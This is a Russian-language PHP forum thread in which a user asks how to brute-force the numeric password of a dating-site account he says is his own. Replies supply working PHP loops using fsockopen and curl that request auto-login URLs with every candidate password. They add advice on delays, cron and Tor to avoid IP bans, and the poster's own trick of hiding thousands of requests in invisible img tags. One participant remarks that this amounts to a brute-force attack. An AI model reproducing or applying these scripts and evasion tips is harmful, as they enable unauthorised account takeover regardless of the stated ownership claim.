Jump to content

Ссылки


XNV0304
 Share

Recommended Posts

Здравствуйте уважаемые форумчане! У меня возник небольшой вопрос, а если быть точнее, то хотелось бы получить совет профессионалов в одном на мой взгляд очень сложном вопросе. PHP я начал изучать не так давно, поэтому еще полностью не знаком со всеми его возможностями, но насколько уже знаю, этот язык обладает большими возможностями, я подумал, а можно ли воспользоваться его возможностями для восстановления доступа к своей странице на одном сайте знакомств. Регистрацию я на сайте проходил давно, много времени прошло, а номер на который можно было бы получить забытый пароль к сожалению уже не сохранился, но на свой аккаунт где в друзьях осталось очень много знакомых людей зайти бы очень хотелось. Сразу скажу, что пароль подбираю только к своей странице, взломом ничьих аккаунтов не занимаюсь,Для того чтобы подобрать пароль, решил написать такой вот примитивный скрипт:

<?php

for ($B = 10000; $B <= 999999; $B++)

{

if ($B <= 99999)

{

echo "<a href=\"http://site.com/l77053736134/p$B\"> Ссылка</a><br>";

}

}

?>

Как многие уже заметили, там где находится оператор echo расположена ссылка "автовхода" на сайт. Переменная $B в ссылке будет подставлять числа по порядку от 10000 до 99999 тысяч, именно в этом диапазоне и находится правильный пароль, начинается он с 1 и содержит 5 цифр, это все что запомнил. Этот скрипт в браузере выведет сто тысяч ссылок, одна из них будет правильной. Выглядит этот скрипт в работе примерно так:

Ссылка

Ссылка

...

Где для каждой ссылки будет записаны числа от 10000 до 99999 тысяч. Кликать вручную все эти ссылки работы на месяц. А вопрос мой заключается в том, можно ли все эти ссылки как-то кликнуть за один раз используя php? Ведь когда сервер сайта от которого я забыл пароль получит "правильную ссылку" из этих 100000 тысяч неправильных, он тут же отправит куки, которые сохраняться в браузере, и доступ к анкете будет открыт.Я новичок в программировании, поэтому прошу прощения если вопрос оказался глупым.

Edited by XNV0304
Link to comment
Share on other sites

можно использовать сокеты и делать запрос через них

но это только при условии что тот сайт пропустит такое кол-во запросов


for ($B = 10000; $B <= 99999; $B++)
{

$fp = fsockopen("site.com", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET /l77053736134/p$B HTTP/1.1\r\n";
$out .= "Host: site.com\r\n";
$out .= "Connection: Close\r\n\r\n";

fwrite($fp, $out);
$text = "";
while (!feof($fp)) {
$text .= fgets($fp, 128);
}
fclose($fp);

//в переменной $text будет код страницы, то есть нужно проверить подошёл пароль или нет
}

}

Edited by CalvinKlein
Link to comment
Share on other sites

сокеты - гемор тот еще, проще будет с помощью curl:


<?php
/*
$postvars = array(
"login" => "", // это с формы ввода логин
"passw" => "", // это с формы ввода пароль
);

$postdata = "";
foreach ( $postvars as $key => $value )
$postdata .= "&".rawurlencode($key)."=".rawurlencode($value);
$postdata = substr( $postdata, 1 );
// скорее всего я так понял тебе этот кусок кода не понадобится.
// тебе нужно будет в переменную $postdata получить нужное значение
*/
$submit_url = ""; // url страницы для залогинивания
$cook = ""; // тут хранится кука, но тебе она не нужна как я понял, так как ты изначально ее не знаешь же...

$ch = curl_init($submit_url);
curl_setopt ($ch, CURLOPT_REFERER, ""); // изначальная страница, откуда пришел к странице залогинивания, типа главной
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $postdata);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13");
//curl_setopt($ch, CURLOPT_COOKIEJAR, $cook); // это опять же для использования кукисов, может и не понадобится
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);

//curl_setopt($ch, CURLOPT_VERBOSE, 1);
//curl_setopt($ch, CURLOPT_HEADER, 1);

$result = curl_exec ($ch);

curl_exec($ch);
curl_close($ch);

echo $result; // результ выводит уже сформированную страницу в залогиненом виде
?>

только не забудь зациклить весь код, по примеру как выше привел CalvinKlein.

Link to comment
Share on other sites

Если целевой сервер построен на Апаче, то после 10-15 запросов получите временный бан по IP, так как промежутки при запросах будут очень маленькими.

Посоветовал бы повесть скрипт перебора на крон с частотой в 1-2 секунды, а данные запрашивать через curl.

Если с кроном не получается, можно сварганить ajax запрос с таймером :rolleyes:

Edited by Radiocity
Link to comment
Share on other sites

На самом дел форкать процесс в ПХП это моветон, ибо память жрется при этом в непозволительных объемах. Тем не менее, наверянка бывают ситуации, когда это может пригодится как временное решение.

Т.е. мой вариант с кроном не есть хорошо?

Link to comment
Share on other sites

в вариант CalvinKlein добавить в цикл sleep с задержкой и делов то. Пусть крутится. А еще можно использовать Tor сеть чтобы не словить бан =)) Да и вообще это уже попахивает атакой на ресурс и брутфорсом, а это вроде как не хакерский ресурс.

Link to comment
Share on other sites

Всем спасибо за ответы, но я придумал более простой способ перебора паролей через тег <img>.

<!DOCTYPE html>

<html>

<head>

<meta charset="utf-8">

<style>

.k {width: 0; height: 0;}

</style>

</head>

<body>

<?php

for ($A = 1000; $A <= 10000; $A++)

{

if ($A <= 10000)

{

echo "<img src=\"http://site.com/l77771331817/p$A\" class=\"k\">";

}

}

?>

</body>

</html>

В данном случае в атрибуте src указан якобы путь к картинкам на сайте, а на самом деле это ссылка для автовхода на сайт, а не путь к картинке, где "/p$А" это пароль, идущий в ссылке после логина (номер телефона). Переменная $A подставляет значения от 1000 до 10000 тысяч подтят, браузер начинает посылать запросы на сервер по этой ссылке, чтобы получить картинки, но переменная $A постоянно меняет значения в ссылке, поэтому браузер снова и снова пытается загрузить картинке с сервера, и так 10000 тысяч раз, как указанно в условии (в условии числа можно увеличить или уменьшить, не обязательно вести подбор пароля от 1000 до 10000).

Таким образом, когда переменная $A все-таки подбирает правильные цифры пароля, браузер переходит по этой ссылке как и по всем 10000-ам ссылок, опять же чтобы загрузить картинки с сервера, а сервер сайта фиксирует все эти запросы браузера на получение картинок как вход на сайт по автоссылке. Таким образом, когда браузер отправляет запрос на сервер, сервер получает ссылку с правильным паролем, по которой браузер на самом деле хотел получить изображения, а не войти на сайт, затем он (сервер) отправляет куки браузеру, а браузер их (куки) конешно же сохраняет. После того как эта программа в данном случае переберет все числа от 1000 до 10000 подтят, браузер прекратит загрузку "картинок", останется лишь перейти по ссылке на сайт где зарегистрирован аккаунт (через тот же браузер в котором выполнялся код написанный выше), и если пароль у аккаунта состоял из 4-х цифр, то пользователь забывший пароль сможет вновь управлять своим аккаунтом, только пароль все равно узнать не получится.

Стиль еще перемен к тегу <img>. Это сделано чтобы браузер не загружал "портаки", то есть, всякие иконки, показывающие то, что изображение загрузить не удается. Ведь 10000 тысяч таких картинок в браузере за раз это уже слишком.

Так мой вопрос "как нажать много ссылок за один раз" отпал сам тобой. Потому что через тег <img> браузер все делает автоматически.

Вообще говоря, можно использовать и другие теги в которых указывается путь к файлам, например <link>, где можно указать путь к файлу со стилями, но стили они кэшируются браузером, а при таких объемах данных кэша может и не хватить.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue. See more about our Guidelines and Privacy Policy